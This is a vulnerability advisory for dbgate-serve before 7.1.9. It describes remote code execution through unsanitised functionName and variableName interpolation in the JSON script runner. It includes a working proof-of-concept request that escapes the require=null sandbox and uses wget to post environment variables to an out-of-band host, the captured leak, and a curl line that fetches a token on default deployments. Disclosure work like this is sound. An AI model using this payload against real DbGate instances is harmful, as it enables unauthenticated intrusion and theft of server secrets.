| Package | Affected versions | Patched versions |
|---|---|---|
| dbgate-serve | < 7.1.9 | 7.1.9 |
DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.
File: packages/api/src/controllers/runners.js - start() method
The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:
async start({ script }, req) {
if (script.type == 'json') {
if (!platformInfo.isElectron) {
if (!checkSecureDirectoriesInScript(script)) {
return { errorMessage: 'Unallowed directories in script' };
}
}
logJsonRunnerScript(req, script);
const js = await jsonScriptToJavascript(script);
return this.startCore(runid, scriptTemplate(js, false));
}
This path skips:
run-shell-script permission checkallowShellScripting platform-level checkThe only validation performed is checkSecureDirectoriesInScript(), which props.fileName values
File: packages/tools/src/ScriptWriter.ts - assignCore() method
The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:
assignCore(variableName, functionName, props) {
this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}
Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.
File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()
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Scan my site freeBefore interpolation, functionName passes through this function:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}
An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:
dbgateApi.x;MALICIOUS_CODE;//
This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.
The complete generated script that gets executed:
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
File: packages/api/src/controllers/runners.js - startCore() method
The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.
The require = null sandbox can be bypassed via:
process.mainModule.require() - separate reference unaffected by the null assignmentmodule.constructor._load() - internal module loader, also unaffectedThe same unsanitised string interpolation pattern exists in:
| Endpoint | Parameter | File |
|---|---|---|
POST /runners/start | functionName in assign commands | ScriptWriter.ts - assignCore() |
POST /runners/start | variableName in assign commands | ScriptWriter.ts - assignCore() |
POST /runners/load-reader | functionName parameter | ScriptWriter.ts - loaderScriptTemplate |
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json
{
"script": {
"type": "json",
"commands": [
{
"type": "assign",
"variableName": "x",
"functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
"props": {}
}
],
"packageNames": []
}
}
The request to the out of band host was as follows:
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c
A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:
curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login
| Scenario | Impact | CVSS Score | CVSS Vector |
|---|---|---|---|
Anonymous auth mode (default deployment) (authProvider: "Anonymous") | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Date | Event |
|---|---|
| 2026-03-31 | Vulnerability discovered |
| 2026-04-07 | Advisory report prepared and submitted to maintainer |
| 2026-04-22 | Fix released (v7.1.9) |
| 2026-04-24 | Maintainer acknowledgment |
| 2026-05-20 | Public disclosure |